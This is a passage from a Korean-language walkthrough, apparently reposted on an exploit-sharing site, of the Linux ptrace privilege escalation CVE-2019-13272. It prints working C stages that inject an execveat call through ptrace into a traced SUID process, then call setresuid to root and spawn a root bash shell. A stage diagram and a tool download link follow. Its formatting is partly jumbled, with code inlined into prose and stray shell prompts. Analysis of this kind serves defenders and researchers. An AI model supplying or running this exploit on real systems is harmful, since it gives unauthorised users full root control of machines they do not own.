117   struct user_regs_struct regs;
118   struct iovec iov = { .iov_base = &regs, .iov_len = sizeof(regs) };
119   SAFE(ptrace(PTRACE_SYSCALL, pid, 0, NULL));
120   SAFE(waitpid(pid, &dummy_status, 0));
121   SAFE(ptrace(PTRACE_GETREGSET, pid, NT_PRSTATUS, &iov));
122 
123   /* set up indirect arguments */
124   unsigned long scratch_area = (regs.rsp - 0x1000) & ~0xfffUL;
125   struct injected_page {
126     unsigned long argv[2];
127     unsigned long envv[1];
128     char arg0[8];
129     char path[1];
130   } ipage = {
131     .argv = { scratch_area + offsetof(struct injected_page, arg0) }
132   };
133   strcpy(ipage.arg0, arg0);
134   for (int i = 0; i < sizeof(ipage)/sizeof(long); i++) {
135     unsigned long pdata = ((unsigned long *)&ipage)[i];
136     SAFE(ptrace(PTRACE_POKETEXT, pid, scratch_area + i * sizeof(long),
137                 (void*)pdata));
138   }
139 
140   /* execveat(exec_fd, path, argv, envv, flags) */
141   regs.orig_rax = __NR_execveat;
142   regs.rdi = exec_fd;
143   regs.rsi = scratch_area + offsetof(struct injected_page, path);
144   regs.rdx = scratch_area + offsetof(struct injected_page, argv);
145   regs.r10 = scratch_area + offsetof(struct injected_page, envv);
146   regs.r8 = AT_EMPTY_PATH;
147 
148   SAFE(ptrace(PTRACE_SETREGSET, pid, NT_PRSTATUS, &iov));
149   SAFE(ptrace(PTRACE_DETACH, pid, 0, NULL));
150   SAFE(waitpid(pid, &dummy_status, 0));
151 }

force_exec_and_wait의 기능은 ptrace를 사용하여 tracee가 execveat 함수를 실행해 프로세스의 image를 대체하도록 제어하는 것이다. 여기서는 task B가 task A의 프로세스(즉, exploit의 실행 프로그램 - binary exploit 파일)를 stage2를 매개변수로 하여 실행하도록 제어하여, task B가 middle_stage2 함수를 실행하게 한다.``` c 167 int main(int argc, char **argv) { 168 if (strcmp(argv[0], "stage2") == 0) 169 return middle_stage2(); 170 if (strcmp(argv[0], "stage3") == 0) 171 return spawn_shell();

root@kitploit:~
middle_stage2 함수는 또한 force_exec_and_wait를 호출하여 task B가 ptrace를 사용해 task C가 execveat 함수를 실행하도록 제어하게 하며, task C의 이미지를 exploit의 바이너리 파일로 교체하고 매개변수는 stage3이다.``` c
153 static int middle_stage2(void) {
154   /* our child is hanging in signal delivery from execve()'s SIGTRAP */
155   pid_t child = SAFE(waitpid(-1, &dummy_status, 0));
156   force_exec_and_wait(child, 42, "stage3");
157   return 0;
158 }

exploit binary 파일이 stage3 매개변수로 실행되면 spawn_shell 함수를 실행하므로, task C의 마지막 단계는 spawn_shell을 실행하는 것입니다.``` c 160 static int spawn_shell(void) { 161 SAFE(setresgid(0, 0, 0)); 162 SAFE(setresuid(0, 0, 0)); 163 execlp("bash", "bash", NULL); 164 err(1, "execlp"); 165 }

root@kitploit:~
spawn_shell 함수에서 먼저 setresgid/setresuid를 사용하여 프로세스의 real uid/effective uid/save uid를 root로 변경한다. task C가 방금 suid 바이너리를 실행하고 자신의 euid를 root로 변경했기 때문에, 여기서 setresuid/setresgid는 성공적으로 실행될 수 있다. 이때 task C는 완전한 root 프로세스가 되었다. 마지막으로 execlp를 실행하여 셸을 열며, 이 셸은 root의 모든 권한을 가지게 된다.``` go
       	     forks               forks
+------proc_A -----------> proc_B ------------> proc_C
|       |                   |                    |
|     Wait B                |                    |
|     And attach            |                    |
|     Execve stage 2 in B   |                    |
+-------+-------------------+--------------------+
stage 1 |                 pkexec              get privileged tracer
|       |                   |                    |
|       |                   |                    |
|       |                 Unprivileged        exec SUID binary,
|       |                 Traced by A         become privileged, SIGTRAPed
+-------+-------------------+--------------------+
|       |                   |                    |
stage 2 |                 Wait C,                |
|       |                 Execve stage3 in C     |
|       |                   |                    |
+-------+-------------------+--------------------+
|       |                   |                    |
|       |                   |                    |
stage 3 |                   |                 setresuid to 0, 0, 0
|       |                   |                    |
|       |                   |                 exeve bash as root :)
+-------+-------------------+--------------------+

인용

https://www.anquanke.com/post/id/193863#h2-3 https://jm33.me/cve-2019-13272-linux-lpe-via-ptrace_traceme.html

DatntSec. Viettel Cyber Security.

도구 다운로드